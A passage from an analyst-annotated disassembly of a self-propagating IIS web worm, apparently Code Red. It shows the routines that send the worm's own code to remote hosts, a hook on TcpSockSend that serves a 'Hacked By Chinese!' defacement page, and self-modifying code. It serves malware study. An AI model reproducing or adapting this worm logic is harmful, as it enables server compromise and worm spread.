specifier push 0 ; no flags push 1 ; push size 1 mov ecx, [ebp+DataOffset] add ecx, 5 ; set to '?', 0 push ecx mov edx, [ebp+Sock] ; push sock desc push edx call [ebp+Send] ; send cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempValue], 0 ; set counter to 0 mov eax, [ebp+pExtensionControlBlock] mov ecx, [eax+64h] ; pExtensionControlBlock->pszQueryString 'NNNNNNNNNN....' mov [ebp+pBuffer], ecx jmp short SETUP_QUERY_TO_SEND ; CalcQuerySizeLoop: ; CODE XREF: HACK_PAGE+52Bj mov edx, [ebp+pBuffer] ; increment the memory pointer to the headers add edx, 1 mov [ebp+pBuffer], edx mov eax, [ebp+TempValue] ; increment the counter add eax, 1 mov [ebp+TempValue], eax SETUP_QUERY_TO_SEND: ; CODE XREF: HACK_PAGE+4FEj mov ecx, [ebp+pBuffer] movsx edx, byte ptr [ecx] test edx, edx jz short SEND_QUERY jmp short CalcQuerySizeLoop ; increment the memory pointer to the headers ; SEND_QUERY: ; CODE XREF: HACK_PAGE+529j mov esi, esp push 0 ; no flags mov eax, [ebp+TempValue] ; push size of headers push eax mov ecx, [ebp+pExtensionControlBlock] mov edx, [ecx+64h] ; pExtensionControlBlock->pszQueryString 'NNNNNNNNNNNN......' push edx ; push addr pointing to headers mov eax, [ebp+Sock] push eax ; push sock descriptor call [ebp+Send] ; send ; send the headers cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempValue], 0 ; reset counter to 0 mov ecx, [ebp+DataOffset] add ecx, 7 mov [ebp+pBuffer], ecx jmp short SETUP_HEADERS_TO_SEND ; CalcHeaderSizeLoop: ; CODE XREF: HACK_PAGE+599j mov edx, [ebp+pBuffer] add edx, 1 mov [ebp+pBuffer], edx mov eax, [ebp+TempValue] add eax, 1 mov [ebp+TempValue], eax SETUP_HEADERS_TO_SEND: ; CODE XREF: HACK_PAGE+56Cj mov ecx, [ebp+pBuffer] movsx edx, byte ptr [ecx] test edx, edx jz short SEND_HEADERS jmp short CalcHeaderSizeLoop ; SEND_HEADERS: ; CODE XREF: HACK_PAGE+597j mov esi, esp push 0 mov eax, [ebp+TempValue] ; push counted size push eax mov ecx, [ebp+DataOffset] ; push addr of our headers add ecx, 7 push ecx mov edx, [ebp+Sock] ; push socket descriptor push edx call [ebp+Send] ; send cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov eax, [ebp+pExtensionControlBlock] ; get data request size mov ecx, [eax+70h] ; pExtensionControlBlock->cbTotalBytes // Total bytes indicated from client mov [ebp+TempValue], ecx ; set counter to data request size mov esi, esp push 0 ; no flags mov edx, [ebp+TempValue] ; push request size push edx mov eax, [ebp+pExtensionControlBlock] mov ecx, [eax+78h] ; pExtensionControlBlock->lpbData push ecx mov edx, [ebp+Sock] push edx call [ebp+Send] ; send ; this sends the actual malicious code to the remote side cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+RecvBuf], 0 mov esi, esp push 0 ; no flags push 100h ; set 100 len lea eax, [ebp+RecvBuf] push eax mov ecx, [ebp+Sock] ; push sockdesc push ecx call [ebp+recv] ; recv ; ; receive a response from the remote side cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempValue], eax ; set counter to data received from recv SOCK_CLOSE_LOOP: ; CODE XREF: HACK_PAGE+432j mov esi, esp mov edx, [ebp+Sock] push edx call [ebp+closesocket] ; closesocket cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx loc_C8C: jmp DO_THE_WORK ; TIGHT_LOOP: ; CODE XREF: DO_RVA+230j ; HACK_PAGE+155j ... jmp short TIGHT_LOOP ; This is a tight loop HACK_PAGE endp ; JUMP_TABLE1: ; CODE XREF: DataSetup+1Cj call DO_RVA jmp short HOOK_FAKE_TCPSOCKSEND ; ebp-1a0 it seems ; S U B R O U T I N E ; This is a fake tcpsocksend that replaces the current one. ; it serves to deliver the hacked page when inititalized FAKE_TCPSOCKSEND proc near ; CODE XREF: seg000:00000CCAp var_C = dword ptr -0Ch arg_4 = dword ptr 8 pop eax add eax, 5 push ebp push edi push ebx push esi push eax push 3Ch ; '<' mov esi, eax add esi, 0Ch push esi push 100h push dword ptr [eax+8] push [esp+20h+arg_4] call dword ptr [eax] pop eax push eax push [esp+24h+var_C] call dword ptr [eax+4] pop eax pop esi pop ebx pop edi pop ebp jmp dword ptr [eax] FAKE_TCPSOCKSEND endp ; db 90h ; ; HOOK_FAKE_TCPSOCKSEND: ; CODE XREF: seg000:00000C98j ; seg000:00000CD4j call FAKE_TCPSOCKSEND ; This is a fake tcpsocksend that replaces the current one. ; it serves to deliver the hacked page when inititalized HACK_PAGE_JUMP: ; CODE XREF: DO_RVA+426j call HACK_PAGE ; this sets up the hacked page bit jmp short near ptr HOOK_FAKE_TCPSOCKSEND+4 ; PADDING_BYTES db 22h ; " db 6Eh ; n db 84h ; db 32h ; 2 db 3 ; db 75h ; u db 0B3h ; db 0CAh ; db 5Ah ; Z db 4 ; db 56h ; V db 34h ; 4 db 12h ; db 0B8h ; db 78h ; x db 56h ; V db 34h ; 4 db 12h ; db 0B8h ; db 78h ; x db 56h ; V db 34h ; 4 db 12h ; ; S U B R O U T I N E ; This function: ; sets up edi ; dynamically rewrites a bit of worm code to point to the head of the code DO_REWRITE proc near ; CODE XREF: DO_RVA+29p DataOffset = dword ptr -198h pop eax push eax mov edi, [ebp+DataOffset] ; put an addr into edi mov [edi-0Eh], eax ; dynamically rewrite jump addr at o.D02 retn DO_REWRITE endp ; SELF_MODIFY1: ; CODE XREF: seg000:00000D0Bj mov eax, [esp+0Ch] add eax, 0B8h ; '' mov dword ptr [eax], 0CDF1DAh ; this is self modifiying code. the move value gets set to RVA LOOP(o 252) xor eax, eax retn ; jmp short SELF_MODIFY1 ; WORMCONTINUE: ; CODE XREF: WORM+28j call DataSetup ; ; DataOffset: aLoadlibrarya db 'LoadLibraryA',0 aGetsystemtime db 'GetSystemTime',0 aCreatethread db 'CreateThread',0 aCreatefilea db 'CreateFileA',0 aSleep db 'Sleep',0 aGetsystemdefau db 'GetSystemDefaultLangID',0 aVirtualprotect db 'VirtualProtect',0 db 9 ; aInfocomm_dll db 'infocomm.dll',0 aTcpsocksend db 'TcpSockSend',0 db 9 ; aWs2_32_dll db 'WS2_32.dll',0 aSocket db 'socket',0 aConnect db 'connect',0 aSend db 'send',0 aRecv db 'recv',0 aClosesocket db 'closesocket',0 db 9 ; aW3svc_dll db 'w3svc.dll',0 db 0 ; aGet db 'GET ',0 a? db '?',0 aHttp1_0Content db ' HTTP/1.0',0Dh,0Ah db 'Content-type: text/xml',0Ah db 'HOST:www.worm.com',0Ah db ' Accept: */*',0Ah db 'Content-length: 3569 ',0Dh,0Ah db 0Dh,0Ah,0 aCNotworm db 'c:\notworm',0 aLmthHtmlHeadMe db 'LMTH',0Dh,0Ah db 'HELLO!

Welcome to http://' db 'www.worm.com !

Hacked By Chinese!
<' db '/html> ' db ' ' db ' ' seg000 ends end